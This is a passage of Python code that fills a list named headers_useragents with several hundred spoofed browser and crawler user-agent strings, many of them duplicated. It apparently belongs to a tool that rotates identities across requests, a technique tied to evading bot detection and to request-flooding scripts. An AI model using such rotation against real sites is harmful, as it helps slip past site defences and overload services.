  3170.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)')
  3171.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)')
  3172.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)')
  3173.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)')
  3174.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)')
  3175.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)')
  3176.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)')
  3177.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)')
  3178.     headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)')
  3179.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)')
  3180.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)')
  3181.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)')  
  3182.     headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
  3183.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)')
  3184.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)')
  3185.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)')
  3186.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)')
  3187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)')
  3188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)')
  3189.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)')
  3190.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)')
  3191.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)')
  3192.     headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)')
  3193.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)')
  3194.     headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
  3195.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)')
  3196.     headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
  3197.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
  3198.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)')
  3199.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3200.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3201.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3202.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  3203.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3206.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3208.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3209.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3210.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3211.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  3212.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3213.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3214.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  3215.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  3216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3217.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3220.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3221.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3222.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3223.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  3224.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  3225.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  3226.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  3227.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  3228.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  3229.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  3230.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  3231.     headers_useragents.append('Aladin/3.324')
  3232.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  3233.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  3234.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  3235.     headers_useragents.append('AlkalineBOT/1.3')
  3236.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  3237.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  3238.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  3239.     headers_useragents.append('Allrati/1.1 (+)')
  3240.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  3241.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  3242.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  3243.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  3244.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  3245.     headers_useragents.append('AmfibiBOT')
  3246.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  3247.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  3248.     headers_useragents.append('amibot')
  3249.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  3250.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  3251.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  3252.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  3253.     headers_useragents.append('amzn_assoc')
  3254.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  3255.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  3256.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  3257.     headers_useragents.append('Anonymizer/1.1')
  3258.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  3259.     headers_useragents.append('AnswerChase PROve x.0')
  3260.     headers_useragents.append('AnswerChase x.0')
  3261.     headers_useragents.append('ANTFresco/x.xx')
  3262.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  3263.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  3264.     headers_useragents.append('Apexoo Spider 1.x')
  3265.     headers_useragents.append('Aplix HTTP/1.0.1')
  3266.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  3267.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  3268.     headers_useragents.append('Aport')
  3269.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  3270.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  3271.     headers_useragents.append('Apple-PubSub/65.1.1')
  3272.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  3273.     headers_useragents.append('ArachBot')
  3274.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  3275.     headers_useragents.append('aranhabot')
  3276.     headers_useragents.append('ArchitextSpider')
  3277.     headers_useragents.append('archive.org_bot')
  3278.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  3279.     headers_useragents.append('Arikus_Spider')
  3280.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  3281.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  3282.     headers_useragents.append('Asahina-Antenna/1.x')
  3283.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  3284.     headers_useragents.append('ask.24x.info')
  3285.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  3286.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  3287.     headers_useragents.append('ASPSeek/1.2.5')
  3288.     headers_useragents.append('ASPseek/1.2.9d')
  3289.     headers_useragents.append('ASPSeek/1.2.x')
  3290.     headers_useragents.append('ASPSeek/1.2.xa')
  3291.     headers_useragents.append('ASPseek/1.2.xx')
  3292.     headers_useragents.append('ASPSeek/1.2.xxpre')
  3293.     headers_useragents.append('ASSORT/0.10')
  3294.     headers_useragents.append('asterias/2.0')
  3295.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  3296.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  3297.     headers_useragents.append('Atomz/1.0')
  3298.     headers_useragents.append('atSpider/1.0')
  3299.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  3300.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  3301.     headers_useragents.append('AUDIOVOX-SMT5600')
  3302.     headers_useragents.append('augurfind')
  3303.     headers_useragents.append('augurnfind V-1.x')
  3304.     headers_useragents.append('autoemailspider')
  3305.     headers_useragents.append('autohttp')
  3306.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  3307.     headers_useragents.append('AV Fetch 1.0')
  3308.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  3309.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  3310.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  3311.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  3312.     headers_useragents.append('AWeb')
  3313.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  3314.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  3315.     headers_useragents.append('Azureus 2.x.x.x')
  3316.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  3317.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  3318.     headers_useragents.append('BackStreet Browser 3.x')
  3319.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  3320.     headers_useragents.append('BaiDuSpider')
  3321.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  3322.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  3323.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  3324.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  3325.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  3326.     headers_useragents.append('Barca/2.0.xxxx')
  3327.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  3328.     headers_useragents.append('(Privoxy/1.0)')
  3329.     headers_useragents.append('*/Nutch-0.9-dev')
  3330.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  3331.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  3332.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  3333.     headers_useragents.append('192.comAgent')
  3334.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  3335.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  3336.     headers_useragents.append('4anything.com LinkChecker v2.0')
  3337.     headers_useragents.append('8484 Boston Project v 1.0')
  3338.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  3339.     headers_useragents.append('A-Online Search')
  3340.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  3341.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  3342.     headers_useragents.append('AbachoBOT')
  3343.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  3344.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  3345.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  3346.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  3347.     headers_useragents.append('About/0.1libwww-perl/5.47')
  3348.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  3349.     headers_useragents.append('accoona  Accoona Search robot')
  3350.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  3351.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  3352.     headers_useragents.append('Ace Explorer')
  3353.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  3354.     headers_useragents.append('AcoiRobot')
  3355.     headers_useragents.append('Acoon Robot v1.50.001')
  3356.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  3357.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  3358.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  3359.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  3360.     headers_useragents.append('ActiveBookmark 1.x')
  3361.     headers_useragents.append('Activeworlds')
  3362.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  3363.     headers_useragents.append('Ad Muncher v4.xx.x')
  3364.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  3365.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  3366.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  3367.     headers_useragents.append('AESOP_com_SpiderMan')
  3368.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  3369.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3370.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3371.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  3372.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  3373.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3374.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3375.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3376.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3377.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3378.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3379.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3380.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  3381.     headers_useragents.append('(Privoxy/1.0)')
  3382.     headers_useragents.append('*/Nutch-0.9-dev')
  3383.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  3384.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  3385.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  3386.     headers_useragents.append('192.comAgent')
  3387.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  3388.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  3389.     headers_useragents.append('4anything.com LinkChecker v2.0')
  3390.     headers_useragents.append('8484 Boston Project v 1.0')
  3391.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  3392.     headers_useragents.append('A-Online Search')
  3393.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  3394.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  3395.     headers_useragents.append('AbachoBOT')
  3396.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  3397.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  3398.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  3399.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  3400.     headers_useragents.append('About/0.1libwww-perl/5.47')
  3401.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  3402.     headers_useragents.append('accoona  Accoona Search robot')
  3403.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  3404.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  3405.     headers_useragents.append('Ace Explorer')
  3406.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  3407.     headers_useragents.append('AcoiRobot')
  3408.     headers_useragents.append('Acoon Robot v1.50.001')
  3409.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  3410.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  3411.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  3412.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  3413.     headers_useragents.append('ActiveBookmark 1.x')
  3414.     headers_useragents.append('Activeworlds')
  3415.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  3416.     headers_useragents.append('Ad Muncher v4.xx.x')
  3417.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  3418.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  3419.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  3420.     headers_useragents.append('AESOP_com_SpiderMan')
  3421.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  3422.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  3423.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  3424.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  3425.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  3426.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  3427.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  3428.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  3429.     headers_useragents.append('Aladin/3.324')
  3430.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  3431.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  3432.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  3433.     headers_useragents.append('AlkalineBOT/1.3')
  3434.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  3435.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  3436.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  3437.     headers_useragents.append('Allrati/1.1 (+)')
  3438.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  3439.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  3440.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  3441.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  3442.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  3443.     headers_useragents.append('AmfibiBOT')
  3444.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  3445.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  3446.     headers_useragents.append('amibot')
  3447.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  3448.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  3449.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  3450.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  3451.     headers_useragents.append('amzn_assoc')
  3452.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  3453.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  3454.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  3455.     headers_useragents.append('Anonymizer/1.1')
  3456.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  3457.     headers_useragents.append('AnswerChase PROve x.0')
  3458.     headers_useragents.append('AnswerChase x.0')
  3459.     headers_useragents.append('ANTFresco/x.xx')
  3460.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  3461.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  3462.     headers_useragents.append('Apexoo Spider 1.x')
  3463.     headers_useragents.append('Aplix HTTP/1.0.1')
  3464.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  3465.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  3466.     headers_useragents.append('Aport')
  3467.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  3468.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  3469.     headers_useragents.append('Apple-PubSub/65.1.1')
  3470.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  3471.     headers_useragents.append('ArachBot')
  3472.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  3473.     headers_useragents.append('aranhabot')
  3474.     headers_useragents.append('ArchitextSpider')
  3475.     headers_useragents.append('archive.org_bot')
  3476.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  3477.     headers_useragents.append('Arikus_Spider')
  3478.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  3479.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  3480.     headers_useragents.append('Asahina-Antenna/1.x')
  3481.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  3482.     headers_useragents.append('ask.24x.info')
  3483.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  3484.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  3485.     headers_useragents.append('ASPSeek/1.2.5')
  3486.     headers_useragents.append('ASPseek/1.2.9d')
  3487.     headers_useragents.append('ASPSeek/1.2.x')
  3488.     headers_useragents.append('ASPSeek/1.2.xa')
  3489.     headers_useragents.append('ASPseek/1.2.xx')
  3490.     headers_useragents.append('ASPSeek/1.2.xxpre')
  3491.     headers_useragents.append('ASSORT/0.10')
  3492.     headers_useragents.append('asterias/2.0')
  3493.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  3494.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  3495.     headers_useragents.append('Atomz/1.0')
  3496.     headers_useragents.append('atSpider/1.0')
  3497.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  3498.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  3499.     headers_useragents.append('AUDIOVOX-SMT5600')
  3500.     headers_useragents.append('augurfind')
  3501.     headers_useragents.append('augurnfind V-1.x')
  3502.     headers_useragents.append('autoemailspider')
  3503.     headers_useragents.append('autohttp')
  3504.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  3505.     headers_useragents.append('AV Fetch 1.0')
  3506.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  3507.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  3508.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  3509.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  3510.     headers_useragents.append('AWeb')
  3511.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  3512.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  3513.     headers_useragents.append('Azureus 2.x.x.x')
  3514.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  3515.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  3516.     headers_useragents.append('BackStreet Browser 3.x')
  3517.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  3518.     headers_useragents.append('BaiDuSpider')
